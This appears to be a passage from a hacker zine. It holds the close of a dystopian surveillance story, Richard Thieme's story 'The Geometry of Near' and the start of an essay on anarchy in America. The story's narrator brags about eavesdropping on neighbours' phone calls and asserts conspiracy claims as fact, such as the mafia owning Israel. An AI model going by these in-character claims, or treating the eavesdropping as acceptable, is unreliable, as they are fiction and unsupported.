One of the Twenty Third complained about his rant to the Club Manager. He did so over a holophone. Our program, alert for anomalies, caught it. The next day our people were at the Club, better disguised than MemoRacer would ever be, observing protocols - i.e. saying nothing controversial, drinking too much, and insinuating sly derogatory things about racial and religious minorities - and learned what they needed to know. They scraped the young man's DNA from the chair in which he had been sitting and broadcast the pattern on the Net. Genetic markers were scooped up routinely the next day and when he left fingerskin on a lamp-post around which he swung in too-tired up-too-long jubilation (short-lived, I can tell you) in the seventy-seven Computer Club niche, he was flagged. When he left the meeting, acting like one of the geeky guys, our people were waiting.

We do this for a living, George. We are not amateurs.

MemoRacer taught us how to handle hackers. He wanted to live in the past, did he? Well, that's where he was allowed to live - forever.

Chemicals and implants worked their magic, making him incapable of living in the present. When he tried to focus on what was right in front of his eyes, he couldn't see it. That meant that he sounded like a blithering idiot when he tried to speak with people who lived exclusively in the present. MemoRacer lived in a vast tapestry of historical understanding that he couldn't connect in any meaningful way to the present or the lived experience of people around him.

There is an entire niche now of apprehended hackers living in the historical past and exchanging data but unable to relate to contemporary niches. It's a living hell because they are immensely knowledgeable but supremely impotent and know it. They teach seminars at community centers which we support as evidence of our benevolence and how wrong they are to hate us.

You want to know about the past? By all means! There's a seminar starting tomorrow, I say, scanning my planner. What's your interest? What do you want to explore? Twentieth century Chicago killers? Herbal medicine during the Ming Dynasty? Competitive intelligence in Dotcom Days? Pick your poison!

And when they leave the seminar room, vague facts tumbling over one another in a chaotic flow to nowhere, they can't connect anything they have heard to their lives.

So everybody pretty much has what they want or at least what they need, using the benchmarks we have established as the correct measures for society. The Hump is relatively happy. The dregs skulk about as reminders of a mythic history we have invented that everyone fears. People perceive and conceive of things in helpful and useful ways and act accordingly. And when we uplink to nets around all the planets and orbiting colonies, calling the roll on every niche in the known universe, it always comes out right. Everybody is present. Everybody is always present.

Just the way we like it.

# # # # #

```
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
```

The Geometry of Near

By

Richard Thieme

It's nobody's fault. Honest. It's just how it is.

The future came earlier than expected. They kicked it around for years but never knew what they had. By the time they realized what it was, it was already broken. Broken open, I should say. Even then, looking at the pieces of the egg and wondering where the bird had flown, they didn't know how to say what it was. The words they might have used had broken too.

Now it's too late. The future is past.

It was too far. They can't see far. They can only see near.

Me and my friends, we see far, but we see near, too. It's linking near and far in fractal spirals that makes a multi-dimensional parallax view, providing perspective. It's not that we have better brains than our Moms and Pops, but hey, we were created in the image of the net and we know it. They live it, everybody has to live it now, but they still don't know it.

Look at my Mom and Pop on a Thursday night in the family room. You'll see what I mean.

They are sitting in front of the big screen digital television set watching a sitcom. The program is "Friends." Mom calls the six kids, the six young people excuse me, "our friends." They've been watching the show for years and know the characters better than any of the neighbors. The only reason they know the neighbors at all is because I programmed a scanner to pick up their calls. At first they said, how terrible, don't you do that. Then they said, what did she say? Did she really say that? Then they left it on, listening to cell calls from all over the city, drug deals ("I'm at the ATM, come get your stuff"), sex chat ("I'm sitting at your desk, my feet on the edge, touching myself"), trivia mostly, and once in a while the life of a house down the street broadcasting itself through a baby monitor.

The way they reacted to that, the discovery that walls aren't walls anymore, reminded me of a night when I told some kids it was time to feed a live mouse to Kurtz, my boa constrictor. Oh, how horrible! they cried. Oh, I can't watch! Then they lined up at the tank, setting up folding chairs to be sure they could see the mouse trembling, the sudden strike, the big squeeze. They gaped as the hingeless jaw dropped and Kurtz swallowed the dead mouse. They waited for the tip of its tail to disappear into his mouth before getting up saying yuuuchhh! That's gross!

People in the neighborhood only became real to Mom and Pop when I made them digital, don't you see, when I put them on reality radio. Only when I turned the neighbors into sitcom characters did Mom and Pop have a clue. When they hacked the system in other words.

That's what hacking is, see. It's not hunching over your glowing monitor in your bedroom at three in the morning cackling like Beavus or Butthead while you break into a bank account - although sometimes it is that too - it's more of a trip into the tunnels into the sewers into the walls where the wires run and the pipes and you can see how things work.

It's hitting a wall and figuring out how to move through it. How to become invisible, how to use magic. How to cut the knot, solve the puzzle, move to the next level of the game. It's seeing how shit we dump relates to people who think they don't dump shit and live as if. It's seeing how it all fits together.

"Our friends." Said as if she means it. I mean, is that pathetic or what?

The theme music is too loud as they sink down in overstuffed chairs and turn the volume even higher with a remote I had to program so they could use it. Their lives seldom deviate more than a few inches from the family room. Put the point of a compass down on the set and you can draw a little circle that circumscribes their lives. Everything they know is inside that circle. Two dimensions, flat on its back.

The geometry of near.

Those are my friends, Mom says with a laugh for the umpteenth time. The commercial dissolves and expectations settle onto the family room like the rustling wings of twilight. The acting is always overdone, they mug and posture too much, the laugh tracks are too loud. The characters say three, maybe four hundred words in half an hour, barely enough to hand in to an English teacher on a theme, but more than enough to build a tiny world like a doll's house inside a million heads. Those scripted words and intentional gestures sketch out the walls of houses, the edges of suburban lots, the city limits of their lives, all inside their heads. Hypnotized, they stare at the screen for hours, downloading near vistas, thinking they have a clue.

In family rooms all over the world, drapes closed and lights low, people sit there scratching while they watch, most eat or drink something, and some masturbate. Some get off on Rachel, some Monica. Gays like Joey. Bloat-fetishists go for Chandler. I don't know who gets off on Ross. I do know, though, that all over the world there are rooms smelling of pizza, beer and semen. Some clean up the food they spill before the show is over and some leave it. Some come into a napkin and ball it up and put it on a table until a commercial but some take it straight to the garbage and wash their hands on the way back. Funny. They beat off to a fantasy character as sketchy as a cartoon but wash their hands before coming back from the commercial. After sitting there for all those hours, they ought to wash out their souls with soap, not their hands.

Everybody masturbates, actually. That's what it means to watch these shows. People get off on a fantasy and pretend the emptiness fills them up so they do it again. And again.

Who writes these scripts, anyway? People who have lost their souls, obviously. These people have no self. They put it down somewhere then forgot where they put it. They are seriously diminished humans.

But hey, this is not a rant about people who sell their souls. That's true of everybody who lives in a world of simulations and doesn't know it. Those who know it are masters, their hands on the switches that control the flow of energy and information. Those gates create or negate meaning, modify or deny. Me and my friends we control the flow. The difference is all in the knowing and knowing how.

But that's not what we were fighting about. We were fighting about real things.

I just read an army paper some colonel wrote critiquing the army for thinking backwards. Thinking hierarchically, he said, thinking in terms of mechanistic warfare. The writer self-styling himself a modern insightful thinker, Net-man, an apostle of netcentric warfare, a disciple of the digerati.

It's always colonels, right? trying to get noticed. The wisdom of the seminar room. Talk about masturbation. They write for the same journals they read, it's one big circle jerk. They never call each other on their shit, that's the deal, not on the real stuff, but they can't fool us all the time. Just some of the people some.

It's funny, see, the colonel talks about hierarchies and nets but this guy's obviously Hierarchy Man, he lives in a pyramid, he can't help it. He has the fervor of a convert who suddenly saw the blinding light, saw that he had been living in the near, but all he can do is add on, not transform. An extra bedroom, a new bathroom, is not a new floorplan. The guy is excited, sure, he had a vision that blew his mind, but he thought that meant he could live there and he can't. Seeing may be believing but that's about all. The future is past, like I said. The evidence is guys like that writing stuff like that. Those of us who have lived here all of our lives, who never lived anywhere else, we can see that. He's a mummy inside a pyramid looking out through a chink in a sealed tomb. That's why we laugh, because he can't see himself trailing bandages through the dusty corridors. New converts always look funny to people who live on the distant shore where they just arrived, shipwrecked sailors ecstatic to feel the sand under their feet. They think it's bedrock but it's quicksand..

Here's an example. Go downstairs and go into the kitchen where another television set records the President's speech. (I had to show them how to do that too.)

When we watch it together later, I point out that it's not really the president, not really a person, it's only an image in pixels, a digital head speeching in that strange jerky way he has so when you try to connect, you can't. You think you get the beat but then there's a pause, then a quick beat makes you stumble trying to synchronize. It's how his brain misfires, I think. I think he did that doing drugs, maybe drinking. He was in and out of rehab and who the hell knows what he did to himself. Of course the Clintons did coke and all kinds of shit. Anyway he is talking to people who are eating and drinking and masturbating, not even knowing it, hands alive and mobile in their pockets, getting off on his projected power and authority. He talks about "our country" and I laugh. Pop shoots me a glare because he doesn't have a clue. Pop thinks he lives in a country. Because the prez keeps saying "our country" and "this nation" and shit like that. But countries are over. Countries ended long ago. This president or his dad made money from oil or wherever else they put money to make money. Millions of it, more than enough to keep the whole family in office for generations. They have this veneer of patricians but their hands are dripping with blood. His grand-dad too, look it up. They taught evil people how to torture, kill, terrorize, but they wear this patrician veneer and drip with self- righteousness, always talking about religion. It is so dishonorable. Yet this semi-literate lamer, this poser, we honor, his father the chief of the secret police, his brother running his own state, this brain-damaged man who can't connect with himself or anyone else, his words spastic like bad animation out of synch with that smug smirk, this man we honor? Give me a fucking break.

Anyway, he isn't really there, it's all pixels, that's the point. The same people who made "Friends" and made that mythical neighborhood bar and made that mythical house on the mythical prairie created him too out of whole cloth. So people sit there and scratch, eat drink and masturbate, getting off on the unseen artifice of it all. And these people they have made, these people who project power, they all have their own armies, see, they have their own security forces, their own intelligence networks. They have to because countries ended and they realized that those who are like countries, forgive me, like countries used to be, now must act like countries used to act. They have their own banks and they even have their own simulated countries. Some Arabs bought Afghanistan, the Russian mafia bought Sierra Leone, they own Israel too, can I say that without being called an anti-Semite? These people in their clouds of power allow countries to pretend to exist and download simulations of countries into the heads of masturbating scratchers because it works better to have zombies. So people who think they live in countries can relate to what they think are countries inside their heads. Zombies thinking they are "citizens of countries" because they can't think anything else, because they live inside the walls of the doll's house in their heads. "I am a citizen of this country," says the zombie, feeling safe and snug inside a non-existent house in the non-space of his programmed brain. All right then, where is it? The zombie says here, there, pointing to the air like grandma after surgery pointed to hallucinations, telling them to get her a glass of water, telling them to sit down and stop making her nervous. It's all dribble-glass stuff, zombies in Newtonian space that ended long ago; they stare through the glass at the quantum cloud-cuckoo land the rest of us live in, calling it the future. Mistaking space for time the way that colonel inside his pyramid thinks he's net-man.

People who live in clouds of power live behind tall walls, taller than you can imagine. We never really see what's behind those walls. Zombies never climb those walls because of the private armies. Their "security forces" would have a zombie locked up in a heartbeat if he tried.

On the network when we take over thousands of machines and load trojans letting them sit there until we are ready to use them in a massive attack, we call them zombies. The zombies are unaware what is happening to them. We bring them to life and they rise from their graves and march. Those are our clouds of power, tit for tat. Mastering the masters.

Meanwhile Moms and Pops sit in their chairs not knowing that trojans are being downloaded into their brains. The code is elegant, tight, fast. Between the medium in which the code is embedded and the television or network that turns it into illusions of real people, real situations, the sleight of hand is so elegant, enticing bird-like Moms and Pops into digital cages. The when they move the cages, the birds move too. They give the birds enough room to flap their wings so they think they're free.

This is what it looks like.

Jerome K. Dumbass, say, a zombie with one third of a clue, decides to eliminate a CEO who made him lose his house, his job, all his stock options. The buyer did not know how to beware any more than zombies know how to avoid the download. The guy was sucked into the force field of greed while the CEO stashed his loot in a house he could keep. Pays the people to make laws to let him keep a huge house that no one can take even after his term in a country club. Dumbass wants to kill the CEO which is entirely understandable. So he climbs the wall and drops down onto the other side, twisting his ankle.

The circuit breaks the minute he touches the wall, cameras swing into action, pick him up before he can say "Ow!" Dogs bark and come closer, baying and barking. Camera zooms. A close-up shows his face twisted with pain. Then fear. Dumbass drags his game leg after him, dogs bay and bark closer, louder now. Jeezus! his stupid face says as he hobbles through flowers and shrubs some of them cameras some of them alarms into the arms of waiting goons. The goons are bigger than pro tackles - excuse me, I'm explaining one simulation in terms of another. How foolish is that? But that's what we do, use words to explain words, simulations explaining same. You don't know a single linebacker do you? But you think of them as your friends, too, don't you? Anyway, a thug grabs Dumbass by the belt, twisting his belt and pants in his hand, his other hand crimping the back of his neck like a robot's claw. Dumbass cries out but there's no one to hear. Everyone is busy scratching and eating and drinking and masturbating to the dreamtime rhythm of the night.

They drag him into a room behind the cabanas along the landscaped pools and Jacuzzis. It's dark in there. They throw him against the wall and he bounces off and lies in the scatter and dirt. Looks up and sees a boot coming. That's that. Out he goes.

He comes around in a minute, dizzy, in pain, blood from his broken nose on his shirt. Whomp! The goon's hand slaps him, then backhands him, winds up for a forehand and whacks him back to center. "Stop!" he screams but instead the thug just whacks him back and forth like a bobblehead, wanting him to understand the foolishness of his indiscretion, don't you see. Imposing power on the dumbass on behalf of his master. So Dumbass can internalize the experience, feel utterly powerless, spread the word. Tell your buddies that you do not climb - whack! - that - whack! - wall.

Somewhere in his twinkie brain it dawns on him that no one knows he is here. Sure, they call the "real" cops after a while, but these guys are real enough, mugging him in the toolshed. No one knows he is here and wouldn't care if they did. The so-called news shows handle that, turning Dumbass into the Other. Everybody cheers as they beat his brains out. Then the "real" police come and take over, beating him up in the van on the way to the station, having fun as long as the ride takes, bouncing him off the walls.

Now, this is my point: the armies that this man has, this man whose face you have not even seen, you never do see, you only see manifestations of clouds of power, this man's armies are created in the image of the net. Once we no longer had countries but only the pretense of countries, those who inhabited clouds of power took the game to the next level. These armies are simply not seen. They are hidden in the faux shrubs designed to distract us. When boundaries dissolved, clouds of power emerged all over the world. They are accountable only to themselves, i.e. not. Clouds are not countries, clouds are water vapor condensing, as visible and insubstantial as mist. We too are mist but we believe in our shapes as they change. The clouds in a way are not there, really. Except they are. But try to tell that to a zombie, tell them they live in a cloud and see what they say.

Now take this entire scenario and blow it up. Imagine a country with borders drawn in black. Then imagine a mouth blowing a pink bubble and the bubble bursting obliterating borders and then there's a pink cloud instead of the little wooden shapes of states or countries they used to play with when they were kids. Bubblegum splatters all over the world creating cloud-places that have no names. They are place markers until names are invented. These are the shapes kids play with now, internalizing the difference.

Try telling that to zombies, though. They sit there listening as sitcoms and so-called reality shows and faux news put them into a deep sleep. Images of unreality filter into their brains and define their lives. Tiny images, seen near, seem big. Seem almost lifelike. Inside these miniature worlds, Moms and Pops believe they are far-seeing, thinking they think. Because they are told that near is far and little is big and so it is.

Back to the example. Dumbass is done getting beaten up in the shed behind the bougainvillea and hibiscus. Let's press that a little. That's what neighborhoods have become, whole used-to-be-called countries. That's what societies have become, entire civilizations. Do you see, now? The map in your head is a game board intended to replace reality, not a meaningful map, it gives you manageable borders within which you watch and act in the sitcom of your life, playing a role in a script written for other purposes entirely.

That's why when you open your mouth, one of those times you wake up long enough to talk about something you think is real, anyone who has a clue laughs. It isn't personal, but it can't be helped. People who have a clue laugh. We try to suppress it but a little titter becomes a giggle and then a blast that explodes before you finish your first sentence.

That's what the fight was about. It wasn't personal.

See we see how silly it is, the way you think, what you think is real. The only difference between our seeming rudeness and the compassion of Buddhists who also see clearly is that somehow compassion did not download from the net but the seeing did. We see what's so but without much feeling. Certainly without much empathy. If we have too much empathy, it sucks us in and then we're sunk. Besides, you're zombies. Zombies are not real human beings. In the scripts they have written you do the same things over and over again like a Marx Brothers movie. The script is boring and predictable. That's how it manages so many people so well but that's also what we think is funny. When you play out your roles without even knowing it, naturally, we laugh.

It's not personal! Honest!

When I was twelve I ran a line out to the telephone cable behind the house. I listened to the neighbors talk mostly about nothing until the telephone company and a cop dropped by. I pleaded stupidity and youth and Pop gave me a talk and I nodded and said yeah, right, never again. Those were the good old days when hacking and phreaking were novelties and penalties for kids were a slap on the wrist.

My favorite telephone sitcom was "The Chiropractor's Wife." That woman she lived around the corner and lowered the narrowness bar beyond belief. You see her on the street with her kids or walking that damned huge dog of theirs, you wouldn't know it. She looked normal. On good days she looked good even with her blonde hair down on her shoulders, smiling hello. Still, she raised oblivious to the level of an art form.

I guess she was terrified. Her life consisted of barely coping with two kids who were four and six I think and serving on a committee or two at school like for making decorations for a Halloween party. Other than that, near as I could tell, she talked to her mother and made dinner for the pseudo-doc. Talked to her mother every day, sometimes for hours.

The conversation was often interrupted by long pauses. Well, the wife would say. Then her mother would say, well. Then there might be silence for twenty seconds. I am not exaggerating, I clocked it. Twenty-four seconds was their personal best. That might not sound like much but in a telephone conversation, it's eternity. Then they would go back over the same territory. They were like prisoners walking back and forth in a shared cell, saying the same things over and over. I guess it was mostly the need to talk no matter what, drawing the same circles on a little pad of paper. I imagined the wife making those circles on a doodle pad in different colors and that's when I realized that people around me lived by a different geometry entirely. How the landscape looks is determined by how you measure distance. How far to the horizon. That's when I began to invent theorems for a geometry of near.

Example.

Here in Wolf Cove there is the absolute silence of shuttered life.

The only noise we hear is traffic from the freeway far over the trees. We have lots of trees, ravines, some little lakes. That's what it is, trees and ravines and houses among the trees. That sound of distant traffic is like holding a seashell up to your ear. It's the closest we come to having an ocean. No one can park on the street so a car that parks is suspect. The cops know everyone by sight so anyone different is stopped. The point I am making is, Wolf Cove encloses trees and lakes and houses with gates of silence, making it seem safe, but in fact it has the opposite effect. It creates fear that is bone deep. It's like a gated community with real iron gates and a rent-a-cop. It makes people inside afraid of what's outside so no one wants to leave. It's like we built an electric fence like the kinds that keep dogs inside except we're the dogs.

One day there was a carjacking at a mall ten miles away. Two guys did it who looked like someone called central casting and said hey, send us a couple of mean-looking carjacker types. They held a gun on a gray lady driving a Lexus and left her hysterical in the parking lot. I knew the telephone sitcom was bound to be good so I listened in on the wife and her hold-me mother.

They talked for more than two hours, the wife saying how afraid she was she wouldn't get decorations done for the Halloween party at the school. She almost cried a couple of times, she was that close to breaking, just taking care of a couple of kids and making streamers and a pumpkin pie. But every now and again she said how afraid she was they'd take her SUV at gunpoint next time she went shopping. The television had done its job of keeping her frightened, downloading images of terrified victims morning noon and night. Fear makes people manageable.

Finally the wife said, maybe we ought to move. I couldn't believe my ears. I mean, she lived in Wolf Cove inside an electric fence, so where the hell would she go? Her fears loomed in shadows on the screen of the world like ghosts and ghouls at that Halloween party. Everywhere she looked, she saw danger. Wherever there was a door instead of a wall, she felt a draft, an icy chill, imagining it opening. She got out of bed and checked the locks when everyone else was asleep. Once she had to go get something on the other side of town and you would have thought she was going to the moon. She went over the route on a map with her mother. Did she turn here? Or here? She had a cell phone fully charged - she checked it twice - and a full tank of gas, just in case. Just in case of what? So I wasn't surprised when she said after the carjack that maybe they ought to move to Port Harbor, ten miles north. Then her mother said, well. Then the wife said well and then there was silence. I think I held my breath, sitting in my bedroom listening through headphones. Then her mother said, well, you would still have to shop somewhere.

Oh, the wife said. I hadn't thought of that.

The geometry of near.

So many people live inside those little circles, more here than most places. I live on the net, I live online, I live out there. I keep the bedroom door shut but the mindspace I inhabit is the whole world.

When I was eleven I found channels where I learned so much just listening. I kept my mouth shut until I knew who was who, who was a lamer shooting off his mouth and who had a clue. Then somebody asked a question I knew and I answered politely and they let me in. I wasn't a lurker any longer, but I took it easy, asking questions but not too many. I stayed up late at Border's and other midnight bookstores, aisles cluttered with open O'Reilly books, figuring out what I could before I asked. You have to do the homework and you have to show respect. Once they let me in, I helped guys on rungs below. I was pretty good at certain systems, certain kinds of PBX, and posted voice mail trophies that were a hoot. Some came from huge companies that couldn't secure their ass with a cork. The clips gave the lie to their PR, showing what bullshit it was. So everybody on the channel knew but had the good sense not to say, not let anybody know. That would be like leaning over a banister and asking the Feds to fuck us please in the ass.

So I learned how to live on the grid. I mapped it inside my head, constantly recreating images of the flows, shadows in my brain creating a shadow self at the same time. The shadow self became my self except I could see it and knew how to use it.

It wasn't hacking the little systems, don't you see, the boxes or the telephones, it was the Big System with a capital B and a capital S. Hacking a system means hacking the mind that makes it. It's not just code, it's the coder. The code is a shadow of the coder's mind. That's what you're hacking. You see how code relates to the coder, shit, you understand everything.

Anyway, Mom and Pop were talking one night and Mom said she had seen the Bradley's out on their patio. They were staring down at the old bricks, thinking about redoing it. It meant rearranging shrubs and maybe putting it some flowers and ground cover. It sounded like big deal, the way they talked about it, making this little change sound like the Russian Revolution. It was like the time the Adams built a breakfast nook, you would have thought they had terraformed a planet.

So Mom said to Virginia Bradley, how long have you been in this house now? as long as we have? Oh no, Virginia said. We've been here thirteen years. Oh, Mom said We've been fifteen. But then, Virginia said, we only moved from a block away. Mom said, Oh? I didn't know that. Virginia said, yes, we lived in that little white house on the corner the one with the green shutters for seventeen years. Mom said, I didn't know that. Not only that, Virgina said with a little laugh, but Rick, that was her husband, Rick grew up around the corner. You know that ranch where his mother lives? Mom said, the one where the sign says Bradley? I didn't realize (only neighbors thirteen years) that was his mother. Yes, he grew up in that house, then when we got married we moved to the white house with the green shutters and thirteen years ago when Stonesifers moved to the lakes then we moved here.

The heart enclosed in apprehension becomes so frightened of its own journey, of knowing itself, that it draws the spiral more and more tightly, fencing itself in. Eventually the maze leads nowhere. This village with its winding lanes and gas lamps for all its faux charm was designed by a peasant culture afraid of strangers, afraid of change, a half-human heart with its own unique geometry.

Yep, you guessed it. The geometry of near.

Hypnosis does an effective job of Disneylanding the loneliness of people who live near. Sometimes that loneliness leaks out into their lives and that, really, was what the fighting was about.

Some business group asked Pop to give a dinner speech. They asked him over a year ago, so he had it on the calendar all that time. He really looked forward to it, we could tell by the time he spent getting ready. He even practiced his delivery. They told Pop to expect a few hundred people but when he showed up with all his slides, there were only twenty-three.

I am so sorry, said Merriwether Prattleblather or whoever asked him to speak. It never occurred to any of us when we scheduled your talk that this would be of all things the last episode of Jerry Seinfeld.

Pop got a bit of a clue that night. He was pretty dejected but he knew why. These are people, he said, who have known each other for years. This meeting is an opportunity to spend time with real friends. But they preferred to spend the night with people who are not only not real, but don't even make sense or connect to anything real. They would rather passively download digital images, he said, using my language without realizing it, than interact with real human beings.

So Pop had half a clue and I got excited, that doesn't happen every night, so I jumped in, wanting to rip to the next level and show how it all connects from Walter Lippmann to Eddie Bernays to Joseph Goebells, news PR and propaganda one and the same. That got Pop angry. It undermined that doll's house in his head, I can see now. The walls would collapse if he looked so he can't look. Besides, he had to put his frustration somewhere and I was safe. Naturally I became quite incensed at the intensity of his commitment to being clueless. Christ, Pop, I shouted, they stole your history. You haven't got a clue because everything real was hidden. Some of the nodes are real but the way they relate is disguised in lies. He shouts back that I don't know what I'm talking about. The second world war was real, he says, hitting the table, not knowing how nuts he looks. Oh yeah? Then what about Enigma? Before they disclosed it, you thought totally differently about everything in that war. You had to, Pop! Context is content and that's what they hide, making everything look different. It's all in the points of reference. They've done that with everything for fifty years. It's like multispectral camouflage that I read about in space, fake platforms intended to look real. Nothing gets through, nothing bounces back. You live in a hall or more like a hologram of mirrors, Pop, can't you see that?

We both kept shouting and sooner or later I figured fuck it and went to my room which is fine with me because I would rather live in the real world than the Night of the Living Dead down there.

I know why Pop can't let himself know. I understand. Particularly at his age, you can't face the emptiness of it all unless you know how to fill it again, preferably with something real. Knowing you know how to do that makes it bearable like looking at snakes on Medusa's head in a mirror. It keeps you from turning to stone.

Me and my friends we don't want to turn to stone ever. Not ever. Maybe it's all infinite regress inside our heads, nobody knows. But playing the game at least keeps you flexible. It's like yoga for the soul.

When do I like it best? That's easy. Four in the morning. I love it then. There's this painting by Rousseau of a lion and a gypsy and the world asleep in a frieze that never wakes up. That's what it feels like, four in the morning, online. The illusory world is asleep, shut up like a clam, I turn on the computer and the fan turns into white noise. The noise is the sound of the sea against the seawall of our lives. The monitor flickers alight like a window opening and I climb through.

It's all in the symbols, see, managing the symbols. That makes the difference between half an illusion and a whole one. Do you use them or do they use you? If they use you, do you know it, do you see it, and do you use them back? Who's in charge here? Are you constantly taking back control from symbols that would sweep you up in a flood? Are you conscious of how you collude because brains are built to collude so you know and know that you know and can take back power? Then you have a chance, see, even if the hall of mirrors never shows a real reflection. Then we have a chance to get to the next level of the game if only that and that does seem to be the point.

Me and my friends we prefer the geometry of far. This bedroom is a node in a network trans-planetary or trans-lunar at any rate, an intersection of lines in a grid that we navigate at lightspeed. This is soul-work, this symbol-manipulating machinery fused with our souls, we live cyborg style, wired to each other. The information we exchange is energy bootstrapping itself to a higher level of abstraction.

Some nights you drop down into this incredible place and disappear. Something happens. I don't know how to describe it. It's like you drop down into this place where most of your life is lived except most of the time you don't notice. This time, somehow you go there and know it. Instead of thinking leaning forward from the top of your head its like lines of electromagnetic energy showing iron filings radiating out from the base of your skull. Information comes and goes from the base of your brain, goes in all directions. Time dilates and you use a different set of points of reference, near and far at the same time.

It's a matter of wanting to go, I think, then going. Otherwise you turn into the chiropractor's wife. I want to see up close the difference that makes the difference but once I go there, "I" dissolves like countries disappeared and whatever is left inhabits clouds of power that have no names. It's better than sex, yes, better.

So anyway, the point is, yes, I was laughing but not at him, exactly. You can tell him that. It was nothing personal. It just looked so funny watching someone express the truth that they didn't know. The truth of a future they'll never inhabit. It's like his mind was bouncing off a wall, you see what I mean? So I apologize, okay? You can tell him that. I understand what it must be like, coming to the end of your life and realizing how it's all been deception. When it's too late to do anything about it.

Now if it's all right with you, I just want a few minutes with my friends. I just want to go where we don't need to be always explaining everything, where everybody understands.

Okay? And would you mind closing the door, please, as you leave?

# # # # #

```
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
```

The Feasibility of Anarchy in America

By

Anthony <ivrit@missvalley.com>

"This country, with its institutions, belongs to the people who inhabit it. Whenever they shall grow weary of the existing Government, they can exercise their constitutional right of amending it, or their revolutionary right to dismember or overthrow it." -- Abraham Lincoln

The concept of anarchy in its most general and well-known form espouses a view of removing a given governing body or hierarchy. The very word, "Anarchy," is derived from the Greek word "Anarkhos," which means, "Without a ruler." In effect, it is a view shared by those who believe that centralized governments or hierarchies of power and authority tend to corrupt those at the upper-levels. It is also a common sentiment that those power-drunken rulers at the height of the hierarchy come to abuse their power and use their newly found authority for their own, whimsical purposes to the detriment of the lower members of the organization or society over which it rules. This belief is far from new, and dates back probably as far as political philosophy has existed. Within the United States, the philosophy gained general acceptance within a few select groups during the 1960's and 1970's, and was forwarded with the rise of the "Anarchist Cookbook," in which instructions for bomb-making, guerilla warfare, and the like are expounded upon in rather brief detail. With the rise of the Internet, many groups favoring the free exchange of any and all information, as well as the destruction of any sort of proprietary and restrictive model for software development and the like, the philosophy of Anarchism has become quite widespread and supported in a variety of forms. Aside from the desire to see corrupt regimes fail and the Orwellian laws and measures become obsolete, however, we must ask ourselves: In America, is the concept of Anarchy realistically viable?

It is evident to most that the majority of citizens of the United States do not view laws as anything other than rules enforced by the current regime; therefore, to them, if the regime fails for whatever reason, there are no laws by which to abide. For instance, we can see that during even minor disruptions, such as blackouts, citizens run rampant causing damage and stealing goods from other businesses. They do not connect to the greater picture, and they do not realize that, by depriving others of these goods, they do nothing but bring greater harm upon the whole of society, which includes them as well. Even with the government still active, we see a variety of crimes committed each day, some of the most serious being rape, murder, and theft. The most important question we must ask is that, if the citizens are unable to conduct themselves for the greater good and for the welfare of society, then how may they be trusted to conduct themselves properly without a governmental body enforcing its laws by threats of incarceration or death? However it has occurred, it is irrelevant: the majority of US citizens are entirely dependent upon the government and the services that it provides. It is also obvious that, without a central governing body, they could not rightfully conduct themselves responsibly so that they would need no rulers or administrators above them ensuring that civil order persists. Because of their attitude of self-centered egoism and the fulfillment of their hedonistic desires, it is very improbable that they could retain the proper attitude to make anarchy a possible way of life.
Another problem relating to the lack of a proper, self-reliant attitude is the fact that most Americans are conditioned to a rather wealthy and comfortable lifestyle. They have the pleasure of relative political and military security; comfortable homes; televisions and other frivolous entertainments; and more food than most know what to do with. All but the most impoverished and destitute live a very comfortable lifestyle, and even the latter are generally not wanting for food, housing, and so forth because of government aid. It is also obvious to many that the government acts as a buffer between the individual and reality. Everything is hidden from public view, such as the enforcement of the death penalty, the frequent slaughtering of meat, and even the often-times brutal tactics of the police and military. The government attempts to keep society in a rather blissful swoon so that it does not recognize and is therefore not conditioned to the undesirable facets of reality. Therefore, it is improbable that the general public at large would have the threshold of toleration regarding hardship,

and it is not likely that most would be able to adapt to a rather open and frank way of life, seeing and experiencing both its pleasant and unpleasant aspects. It is most likely that, when experiencing life without any central government shielding them from how it truly is, as well as their responsibility to themselves and the rest of society at large, they would reject such ideals and return to their previous existence and lifestyle. Too much is taken for granted, and when this is not available, the public would quickly turn upon their heels because of the fact that they are generally unconditioned to self-responsibility, self-reliance, and true hardship.

A very real problem to be faced if the central government were removed is the military situation and the protection of this country from hostile foreign powers. It is well known and goes without saying that quite a few foreign nations would take little time in responding to the collapse of the government and militarily invade and occupy the nation to their political and economic advantage. Thus, it would be imperative that a collective military be formed and trained in order to resist such a fate. However, another problem then arises: if a military is formed, and there is hierarchy within this military (as there needs be if it is to be effective in protecting the nation from coordinated foreign attacks), then what is to stop it from staging a coup and forming a new governmental body under military rule, with the commanders being the upper class and the new leaders of an unwilling populace? This is not an impossible or even an improbable scenario. Take Afghanistan, for instance. After the Mujahideen shook off the yoke of Soviet dominance and government, they found themselves in quite a problem: there were several militias, all led by separate commanders with different ideals. Soon, fighting erupted between them, and the country was in a state of war-torn chaos. Nothing productive came from them, and they never ruled with any sort of authority. This serves as an example for how useless a struggle is against an oppressive regime if no stable government can be formed afterward. After their many blunders, a new group rose up against them and their corruption: the Taliban. They were originally a group of freedom fighters who claimed to have no desire for power or rule. They said that their goals were to remove the Mujahideen and their atrocities from Afghanistan, and to restore order, security, and peace to the region. We all know that, afterward, they indeed became the new rulers of Afghanistan, and were no better than the former Mujahideen in the least. This would be the same sort of problem that is to plague a nation whose central government is removed, and it is almost inevitable that foreign occupation will occur, or the newly formed military will take the power for themselves. Or, perhaps, both of these will occur as they did in Afghanistan. Another solution may form in the minds of some when thinking of this problem: perhaps if everyone who is of fighting age and ability would form a militia, so that this power would be in the hands of the population as opposed to a select fighting few. This indeed would be a good idea, if it weren't for a small problem: it would only be a matter of time before there would be disagreements as to the best course of future action in any given situation, and it is very probable that there would be separate factions that would split away and war upon each other. Thus, the nation would once more be divided and fighting for power, much like the many nations of the world do even today. Even without these severely important issues arising, it goes without question that to have everyone who is able to necessarily be a part of a given military would be nearly akin to being governed by a central regime, only on a more militarized basis. Therefore, it seems entirely likely that this would either begin as or devolve into yet another form of government, only this time harsher in its enforcement of laws given the very nature of the institution.

